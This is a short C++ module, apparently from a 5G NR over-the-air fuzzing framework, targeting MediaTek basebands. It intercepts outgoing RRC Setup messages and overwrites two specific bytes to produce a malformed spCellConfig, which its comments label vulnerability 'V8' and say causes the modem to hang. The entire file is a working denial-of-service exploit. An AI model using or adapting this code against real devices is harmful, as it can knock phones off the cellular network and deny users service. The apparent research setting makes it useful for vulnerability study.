#include <ModulesInclude.hpp>

// Filters
wd_filter_t f1;

// Vars


const char *module_name()
{
    return "Mediatek";
}

// Setup
int setup(wd_modules_ctx_t *ctx)
{
    // Change required configuration for exploit
    ctx->config->fuzzing.global_timeout = false;

    // Declare filters
    f1 = wd_filter("nr-rrc.rrcSetup_element");

    return 0;
}

// TX
int tx_pre_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx)
{
    // Register filters
    wd_register_filter(ctx->wd, f1);

    return 0;
}

int tx_post_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx)
{
    if (wd_read_filter(ctx->wd, f1)) {
        wd_log_y("Malformed rrc setup sent!");
        // V8 - 4_mml1_endc_db_hdlr Invalid RRC Setup spCellConfig
        pkt_buf[95 - 48] = 0xd6; // In isolation causes temporary hang
        pkt_buf[126 - 48] = 0x71; // In isolation causes temporary hang
        return 1;
    }

    return 0;
}
